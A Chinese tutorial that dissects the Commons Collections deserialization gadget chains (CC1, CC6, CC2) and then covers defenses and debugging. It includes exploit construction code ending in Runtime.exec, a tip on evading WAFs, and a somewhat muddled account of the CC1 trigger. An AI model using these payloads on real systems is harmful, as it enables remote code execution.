1. 项目概述为什么CommonsCollections是Java安全的“阿喀琉斯之踵”如果你做过Java安全研究或者渗透测试肯定对“反序列化漏洞”这个词不陌生。而在Java反序列化的漏洞宇宙里Apache Commons Collections这个库绝对是一个绕不开的“明星”靶场。它不是一个直接的安全漏洞而是一个充满了危险“工具”的武器库。当这些工具被不当的序列化/反序列化机制组合起来时就形成了一条条直通系统核心的“利用链”Gadget Chain。今天我们不谈宽泛的概念就深入骨髓地剖析一条经典的CommonsCollections利用链看看攻击者是如何像玩多米诺骨牌一样通过一个看似无害的序列化数据最终在你的服务器上执行任意命令的。简单来说Java反序列化漏洞的根源在于Java允许将对象的状态数据转换成字节流序列化进行存储或传输并能从字节流中恢复出对象反序列化。问题在于反序列化过程会自动调用对象的readObject()方法。如果攻击者能够控制反序列化的数据流并精心构造一个由多个类实例组成的“链条”使得在反序列化过程中这些类的readObject()、equals()、compare()、hashCode()或getter/setter等方法被依次调用最终触发危险操作如反射调用Runtime.exec()就完成了攻击。CommonsCollections库之所以“危险”是因为它提供了大量现成的、实现了Serializable接口且行为可被“嫁接”的类比如Transformer、Comparator它们就像乐高积木能被巧妙地拼接成攻击链条。理解这条链不仅是为了复现一个漏洞。它能帮你从根本上建立Java应用安全的“条件反射”看到ObjectInputStream.readObject()就要警惕审查第三方库时要重点关照那些实现了Serializable且包含动态方法调用的类。这对于开发者、安全工程师和架构师都至关重要。接下来我们将从环境搭建开始一步步拆解这条链的每一个齿轮是如何咬合的。2. 环境准备与核心概念解析在动手之前我们需要一个可控的实验环境。我建议使用Maven来管理依赖这样能清晰地控制库的版本这也是理解漏洞版本约束的关键。2.1 实验环境搭建创建一个简单的Maven项目在pom.xml中引入关键依赖。我们以经典的commons-collections:3.2.1版本为例这是漏洞最“丰富”的版本之一。dependencies !-- 漏洞库核心分析目标 -- dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency !-- 用于序列化/反序列化操作 -- dependency groupIdorg.apache.commons/groupId artifactIdcommons-lang3/artifactId version3.12.0/version /dependency /dependencies注意务必确认你的Java运行环境。由于高版本Java如8u121之后引入了反序列化过滤器等安全机制可能会拦截我们的攻击链。为了实验的纯粹性建议使用Java 8u121之前的版本或者在测试时通过JVM参数暂时禁用相关安全特性仅限实验环境。例如可以添加-Dcom.sun.jndi.rmi.object.trustURLCodebasetrue和-Dcom.sun.jndi.ldap.object.trustURLCodebasetrue来应对后续可能涉及的JNDI利用但本次分析不依赖于此。2.2 必须吃透的三个核心概念这条利用链的构建高度依赖于CommonsCollections库中的几个特定接口和类的特性。如果你对它们不熟后面看代码会像看天书。1. Transformer接口与它的“危险”实现们org.apache.commons.collections.Transformer是一个函数式接口只有一个方法Object transform(Object input)。它的设计本意是进行数据转换。但有几个实现类极其危险ConstantTransformer: 无论输入什么都返回一个预设的常量对象。它是链条的“启动器”或“桥接器”。InvokerTransformer: 这是核心中的核心。它利用反射可以调用任意对象的任意方法。其构造方法需要方法名、参数类型数组和参数值数组。在反序列化后当它的transform方法被调用时就会执行反射调用。// 示例构造一个调用Runtime.exec(“calc”)的Transformer Transformer invoker new InvokerTransformer( exec, new Class[]{String.class}, new Object[]{calc.exe} ); // 但这需要我们先有一个Runtime对象传入如何获得这引出了链条的巧妙之处。ChainedTransformer: 将多个Transformer串联起来前一个的输出作为后一个的输入。用于组合多个步骤。2. Map接口的“懒惰”装饰者LazyMapLazyMap.decorate(Map map, Transformer factory)方法会返回一个LazyMap装饰对象。它的“懒惰”体现在当你通过get(Object key)方法获取一个不存在的键值时它不会返回null而是会使用关联的Transformer去“转换”这个键并将结果作为值存入Map然后返回。这个特性是将“数据访问”行为转化为“代码执行”行为的关键桥梁。攻击链会想方设法在反序列化过程中触发对特定键的get操作。3. 注解动态代理与AnnotationInvocationHandler这是早期CommonsCollections1链即ysoserial中的CommonsCollections1payload的关键入口点。sun.reflect.annotation.AnnotationInvocationHandler以下简称AIH是JDK内部类实现了InvocationHandler接口和Serializable接口。它在反序列化的readObject方法中会对其持有的memberValues一个Map调用entrySet()等方法。如果我们能让memberValues是一个LazyMap并且其关联的Transformer是我们的恶意链那么当代理对象被反序列化时就会触发整个链条。理解这三个概念的关系我们最终需要让一个可序列化的对象的反序列化过程readObject去触发一个Map的get操作这个get操作由一个LazyMap执行而LazyMap又会去调用一个Transformer链这个链的末端是一个InvokerTransformer它通过反射执行了Runtime.exec()。3. 利用链的逐层拆解与手工构造我们以最经典的CommonsCollections1链对应ysoserial的CC1为例进行手工构造。这条链在commons-collections:3.2.1及以下版本通用完美诠释了如何将上述“积木”拼接起来。3.1 第一步构造终极攻击载荷 - Transformer链我们的目标是执行Runtime.getRuntime().exec(calc.exe)。但直接使用InvokerTransformer调用exec方法需要一个Runtime实例作为输入对象。我们无法直接序列化Runtime对象。怎么办答案是通过反射链来获取。我们可以构造一个ChainedTransformer按顺序执行以下反射调用获取Runtime类Class.forName(java.lang.Runtime)获取getRuntime方法clazz.getMethod(getRuntime)调用getRuntime方法静态方法invoke时传入nullmethod.invoke(null)获得Runtime实例。获取exec方法runtimeClazz.getMethod(exec, String.class)调用exec方法method.invoke(runtimeInstance, calc.exe)对应到Transformer的构造Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), // 第一步返回Runtime.class对象 new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), // 第二步获取getMethod方法对象 new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 第三步调用getRuntime获得Runtime实例 new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 第四步调用exec方法 }; Transformer transformerChain new ChainedTransformer(transformers);现在只要调用transformerChain.transform(“任意输入”)计算器就会被弹出。但我们需要的是在反序列化时自动触发它。3.2 第二步将攻击链装入“触发器” - LazyMap我们需要一个在反序列化过程中会被自动调用的get方法。LazyMap的get方法符合条件但我们需要一个“诱饵”。Map innerMap new HashMap(); // 一个普通的HashMap Map lazyMap LazyMap.decorate(innerMap, transformerChain); // 用我们的攻击链装饰它现在lazyMap就是一个“陷阱”。任何对不存在的键比如foo的get操作都会触发transformerChain.transform(“foo”)从而执行命令。但问题来了反序列化一个HashMap或LazyMap时其readObject方法并不会去调用get。我们需要一个在反序列化时会自动遍历或访问其Map成员的类。3.3 第三步寻找反序列化入口点 - AnnotationInvocationHandler这就是AnnotationInvocationHandler登场的时候。它的readObject方法简化后逻辑如下private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); // 关键遍历memberValues这个Map的entrySet for (Map.EntryString, Object memberValue : memberValues.entrySet()) { String name memberValue.getKey(); Object value memberValue.getValue(); // ... 一些检查和处理 } }memberValues.entrySet()会触发Map的内部操作。如果我们能让memberValues就是我们的lazyMap并且在遍历时触发get操作链条就通了。但entrySet()本身不直接调用get。这里有一个精妙的技巧LazyMap并没有重写entrySet()方法它继承自AbstractMap。遍历entrySet()时会使用Map.Entry的getValue()方法。如果我们能确保在getValue()时Map认为该键不存在就会触发LazyMap.get()。如何做到我们需要构造一个特殊的AnnotationInvocationHandler实例其memberValues是一个LazyMap并且这个LazyMap在序列化时包含一个键其对应的值在反序列化后的上下文中会“失效”或触发get。更常见的做法是利用动态代理。AnnotationInvocationHandler是一个InvocationHandler。我们可以用它来代理一个Map接口。当代理对象的任何方法被调用时都会走到AnnotationInvocationHandler.invoke()方法。在invoke方法中它会检查调用的方法名如果是Map接口的某些方法如get,put,entrySet等它会转发给memberValues这个实际Map去处理。攻击链构造的关键一步是先用AnnotationInvocationHandler代理我们的lazyMap生成一个代理对象proxyMap。然后再创建一个新的AnnotationInvocationHandler实例记为aih将其memberValues设置为这个proxyMap。序列化这个aih对象。在反序列化时aih的readObject被调用。它尝试遍历memberValues.entrySet()。此时memberValues是proxyMap一个代理对象。调用proxyMap.entrySet()这会触发AnnotationInvocationHandler.invoke()。在invoke方法中它将entrySet()调用转发给实际的memberValues也就是最初的lazyMap。lazyMap.entrySet()被调用。在遍历其内部条目时可能由于我们预先放入的一个特殊键值对会间接触发get操作。lazyMap.get(key)发现键不存在或值需要转换触发绑定的transformerChain。命令执行。具体的、可运行的构造代码涉及JDK内部类的反射调用因为AnnotationInvocationHandler是sun包下的类不能直接new。这里给出核心片段// 1. 构造Transformer链 (同上略) Transformer transformerChain ...; // 2. 构造LazyMap Map innerMap new HashMap(); // 先放入一个“诱饵”键值对。这里放一个任意值关键在于后续触发。 innerMap.put(foo, bar); Map lazyMap LazyMap.decorate(innerMap, transformerChain); // 3. 获取AnnotationInvocationHandler的构造方法并创建实例其type设置为Override.class任意注解memberValues设置为lazyMap Class clazz Class.forName(sun.reflect.annotation.AnnotationInvocationHandler); Constructor constructor clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 第一个handler其memberValues是lazyMap InvocationHandler handler (InvocationHandler) constructor.newInstance(Override.class, lazyMap); // 4. 用这个handler创建Map接口的代理对象 Map proxyMap (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler ); // 5. 再次创建AnnotationInvocationHandler实例这次其memberValues设置为代理对象proxyMap InvocationHandler aih (InvocationHandler) constructor.newInstance(Override.class, proxyMap); // 6. 序列化aih对象 ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(aih); oos.close(); byte[] serializedData baos.toByteArray(); // 7. 反序列化触发在另一个进程或不同上下文中 ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(serializedData)); Object obj ois.readObject(); // 此处触发命令执行实操心得在实际构造时版本适配是个大坑。不同JDK版本如8u66, 8u71对AnnotationInvocationHandler的readObject和invoke逻辑有细微调整可能导致链条失效。例如某些版本在readObject中加强了对注解成员值的类型检查。因此网上公开的PoC代码可能需要根据目标环境进行微调。这也是为什么渗透测试中信息收集包括JDK版本如此重要。4. 从CC1到CC6利用链的演化与绕过随着commons-collections库的升级和JDK的安全加固经典的CC1链在较高版本的JDK或commons-collections 3.2.2及以上版本中可能失效。安全研究人员因此发掘了更多的“入口点”和“桥接点”形成了CC2, CC3, CC4, CC5, CC6, CC7等众多变种。它们核心的Transformer利用部分可能相似但触发反序列化的“第一张牌”和连接Transformer的“桥梁”不同。4.1 CommonsCollections6 (CC6) 链解析CC6链是一个非常重要的变种它不依赖于AnnotationInvocationHandler这个JDK内部类因此兼容性更好。它的核心入口点是java.util.HashSet或java.util.HashMap的readObject方法通过触发hashCode()计算来调用LazyMap.get()。核心思路如下寻找可触发hashCode()的入口HashMap在反序列化readObject时会调用putVal方法重算哈希进而对每个键调用hashCode()。如果我们能让键是一个TiedMapEntry对象事情就变得有趣了。引入TiedMapEntryorg.apache.commons.collections.keyvalue.TiedMapEntry这个类其hashCode()方法的实现是return getValue().hashCode()。而它的getValue()方法实现是return this.map.get(this.key)。连接LazyMap如果TiedMapEntry中的map是一个LazyMapkey是一个不存在的键那么调用hashCode()-getValue()-map.get(key)就会触发LazyMap的Transformer链构造闭环我们需要让HashMap的键包含这个TiedMapEntry。同时为了在反序列化时能顺利触发还需要处理一些细节比如避免在序列化前就触发hashCode计算可以通过在HashMap中先放入一个“占位符”再通过反射替换为TiedMapEntry来实现。简化版的CC6链构造逻辑// 1. 构造Transformer链 (同上略) Transformer transformerChain ...; // 2. 构造LazyMap注意初始化为空不要提前触发 Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, transformerChain); // 3. 创建TiedMapEntry将其与LazyMap绑定 TiedMapEntry entry new TiedMapEntry(lazyMap, foo); // “foo”是触发get的key // 4. 创建HashMap并放入entry作为key Map hashMap new HashMap(); hashMap.put(entry, bar); // 这里put操作会立即触发一次hashCode()从而触发命令所以不能直接这样写。 // 正确的构造需要“惰性”设置先创建一个无害的HashMap和TiedMapEntry序列化后再通过反射将TiedMapEntry内部的map替换成恶意的LazyMap。 // 或者利用HashSet其底层是HashMap并且有类似的触发点。CC6链的巧妙之处在于它利用了Java集合框架中非常常见的hashCode()和equals()方法作为跳板这些方法在反序列化过程中被广泛调用因此找到了一个更通用的入口点。4.2 CommonsCollections2, 4, 8 与高版本限制在commons-collections 4.0版本中InvokerTransformer和InstantiateTransformer等危险类仍然是可序列化的因此CC1、CC6等链的变体依然存在如CC2、CC4。这些链通常使用了新的入口类如java.util.PriorityQueue其readObject会排序调用Comparator.compare()或org.apache.commons.collections4.bag.TreeBag。以PriorityQueue为例的CC2链概览PriorityQueue.readObject()会调用heapify()。heapify()-siftDown()-siftDownUsingComparator()。如果队列使用了TransformingComparator则会调用其compare()方法。TransformingComparator.compare()会调用其内部Transformer的transform方法。将Transformer设置为恶意的ChainedTransformer末端为InvokerTransformer调用TemplatesImpl.newTransformer()用于加载恶意字节码最终实现命令执行。然而在commons-collections 4.1及以上版本情况发生了根本变化。查看源码你会发现InvokerTransformer和InstantiateTransformer类不再实现Serializable接口。这意味着即使你能构造出完整的对象图在序列化时这些关键类根本无法被写入字节流。这相当于从根源上废掉了依赖它们的经典攻击链。注意事项这提醒我们简单的版本升级从3.x到4.1可以有效防御一大批已知的、依赖于特定危险类的反序列化利用链。但安全是动态的这并不代表高版本绝对安全。攻击者会转向寻找其他实现了Serializable且具有危险行为的类或者组合多个库的类来构造新的链即“跨库”Gadget Chain。5. 防御策略与实战排查指南理解了攻击原理防御就有了方向。防御Java反序列化漏洞是一个多层次的工作。5.1 代码层防御根本方法避免反序列化不可信数据白名单校验如果业务必须使用反序列化应严格使用白名单机制。使用ObjectInputFilterJava 9或第三方库如SerialKiller、ikkisoft/SerialKiller在创建ObjectInputStream时设置只允许反序列化已知安全的类。// Java 9 示例 ObjectInputStream ois new ObjectInputStream(bis); ois.setObjectInputFilter(MyClassFilter::check);替换序列化方案考虑使用更安全的序列化协议如JSONJackson, Gson、Protocol Buffers、Kryo需正确配置等。这些协议通常不直接支持任意类的实例化与方法执行。升级与修复升级CommonsCollections将Apache Commons Collections库升级到最新安全版本如3.2.2, 4.4。注意3.2.2版本通过“拉黑”危险Transformer类来修复而4.1版本通过使它们不可序列化来修复。升级JDK使用最新的JDK长期支持版本并关注其安全更新。高版本JDK提供了JEP 290等反序列化过滤器机制。5.2 架构与运维层防御最小化依赖在项目中定期使用mvn dependency:tree或gradle dependencies检查依赖移除不必要的库。特别是commons-collections这样的通用库如果非必需可以考虑排除或替换。应用安全防护部署WAFWeb应用防火墙或RASP运行时应用自我保护设备/agent。它们可以检测和阻断恶意的序列化数据包。网络隔离将存在反序列化接口的服务如RMI、JMX、HTTP with Java Serialization部署在内网严格限制外部访问。5.3 漏洞挖掘与排查实战技巧当你负责代码审计或应急响应时如何快速定位潜在的反序列化漏洞点入口点搜索在全网代码中搜索以下关键词ObjectInputStreamreadObject()readUnshared()XMLDecoder(这也是一个危险的反序列化入口)XStream.fromXML()(XStream反序列化)JSON.parseObject()或JSON.parse()(Fastjson等库需注意其AutoType特性)RMI、JMX相关注册与调用代码HttpInvoker、Hessian、Burlap等基于Java序列化的RPC框架依赖组件分析检查项目的pom.xml或build.gradle重点关注commons-collections(版本是否 3.2.2 或 4.1?)commons-beanutilscommons-fileuploadgroovyspring-aop(早期版本存在可利用链)fastjson(版本是否较低且开启了AutoType?) 使用工具如OWASP Dependency-Check或Sonatype DepShield进行已知漏洞扫描。黑盒测试使用ysoserial或marshalsec等工具生成各种Gadget Chain的payload对疑似接口进行模糊测试。务必在授权和隔离环境进行代码审计工具辅助使用静态代码分析工具SAST如Find Security Bugs、SpotBugs、SonarQube的 security 插件它们通常有检测不安全的反序列化的规则。6. 常见问题与深度排查实录在实际研究和调试利用链的过程中你会遇到各种各样的问题。这里记录几个我踩过的坑和解决思路。问题1Payload生成成功但反序列化时没有任何反应也没有错误日志。可能原因1JDK版本过高。高版本JDK如8u121之后默认限制了通过JNDI注入远程类加载的行为com.sun.jndi.rmi.object.trustURLCodebasefalse而一些利用链如CC1的某些变体或结合JNDI的链依赖于此。解决方案确认你的利用链不依赖远程类加载。对于本地Gadget链如本文分析的CC1、CC6JDK版本影响主要在于AnnotationInvocationHandler的内部逻辑变化可以尝试切换JDK版本如8u66或使用不依赖AIH的链如CC6。可能原因2命令执行被拦截或环境问题。Runtime.exec(“calc”)在无图形界面的Linux服务器上显然不会弹窗。解决方案使用可验证的命令如ping命令观察网络流量、touch /tmp/test检查文件是否创建、或者写入Web目录一个文件。在构造Payload时考虑跨平台兼容性例如执行curl或wget。可能原因3利用链在目标环境中不完整。目标应用可能缺少必要的依赖类某个特定版本的commons-collections jar包。解决方案仔细确认目标ClassPath。使用URLClassLoader或类似技巧加载依赖的链在实战中较难通常需要目标应用本身就有完整依赖。问题2序列化时抛出java.io.NotSerializableException异常。可能原因你构造的对象图中某个关键对象没有实现Serializable接口。在CC链中InvokerTransformer在commons-collections 4.1版本就是如此。解决方案检查每个你手动实例化并放入对象图的类是否都实现了Serializable。使用instanceof Serializable进行判断。如果必须使用不可序列化的类需要寻找替代品或利用writeReplace/readResolve方法这更复杂。问题3使用ysoserial生成的Payload在本地测试成功但打目标失败。可能原因1ClassLoader差异。ysoserial生成的Payload中的类是使用生成Payload时的ClassLoader通常是系统ClassLoader解析的。如果目标应用使用自定义ClassLoader如Web容器且没有将commons-collections等库放在父加载器路径可能导致类找不到ClassNotFoundException或类不兼容。解决方案确保你的测试环境和目标环境的类加载路径一致。对于Web应用通常需要将依赖包放在WEB-INF/lib下。可能原因2安全管理器SecurityManager。目标应用可能启用了Java安全管理器并配置了严格的策略文件禁止执行外部命令或反射调用。解决方案检查是否有SecurityManager。尝试使用不涉及Runtime.exec的利用链如文件读写、DNS请求等进行旁路验证。可能原因3WAF或网络设备拦截。Payload作为HTTP参数或Body传输时可能被WAF识别并阻断。解决方案对Payload进行编码、加密、分块等混淆处理。但注意反序列化前的解码操作需要目标应用支持。问题4如何调试复杂的反序列化利用链工具使用IDEIntelliJ IDEA或Eclipse的远程调试功能连接到运行中的测试应用。技巧关键断点在ObjectInputStream.readObject()、各个Gadget类的readObject()、transform()、invoke()、get()、compare()等方法上打上断点。栈帧分析当断点命中时仔细观察调用栈Call Stack。你可以清晰地看到反序列化过程是如何从一个readObject跳转到另一个方法最终抵达危险函数的。这是理解利用链最直观的方式。变量观察查看关键对象的属性值特别是Transformer数组的内容、Map中的键值等确认它们是否按预期构造。条件断点如果断点太频繁可以设置条件断点例如只在某个特定对象被处理时才暂停。研究Java反序列化漏洞尤其是像CommonsCollections这样的经典案例是一个深入理解Java语言特性、序列化机制和框架设计的绝佳过程。它强迫你去阅读JDK和第三方库的源码去思考对象之间的交互与组合。这种能力无论是对于安全研究员挖掘漏洞还是对于开发人员编写更健壮的代码都是无比宝贵的财富。防御永远建立在深刻理解攻击的基础之上。希望这篇近万字的剖析能帮你打下坚实的基础。